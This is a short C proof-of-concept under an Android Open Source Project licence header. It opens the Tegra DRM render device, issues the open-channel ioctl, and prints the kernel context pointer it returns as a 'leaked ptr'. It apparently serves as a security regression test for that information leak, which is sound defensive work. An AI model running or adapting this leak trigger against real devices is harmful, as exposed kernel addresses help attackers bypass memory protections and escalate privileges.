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42 lines
1.2 KiB
42 lines
1.2 KiB
/**
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* Copyright (C) 2018 The Android Open Source Project
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*
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* Licensed under the Apache License, Version 2.0 (the "License");
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* you may not use this file except in compliance with the License.
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* You may obtain a copy of the License at
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*
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* http://www.apache.org/licenses/LICENSE-2.0
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*
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* Unless required by applicable law or agreed to in writing, software
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* distributed under the License is distributed on an "AS IS" BASIS,
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* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
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* See the License for the specific language governing permissions vand
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* limitations under the License.
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*/
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#define _GNU_SOURCE
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#include <sys/types.h>
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#include <sys/wait.h>
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#include <sys/syscall.h>
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#include <unistd.h>
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#include <string.h>
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#include <stdint.h>
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#include <stdio.h>
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#include <fcntl.h>
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struct drm_tegra_open_channel {
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__u32 client;
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__u32 pad;
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void* context;
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};
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#define tmp_DRM_IOCTL_TEGRA_OPEN_CHANNEL (int)3222299717
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int main()
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{
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int fd, rc;
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struct drm_tegra_open_channel open_args = {0,0,0};
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open_args.client = 0x21;
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fd = open("/dev/dri/renderD129", 0, 0);
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rc = ioctl(fd, tmp_DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_args);
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printf("Leaked ptr is %p\n", open_args.context);
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return 0;
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}
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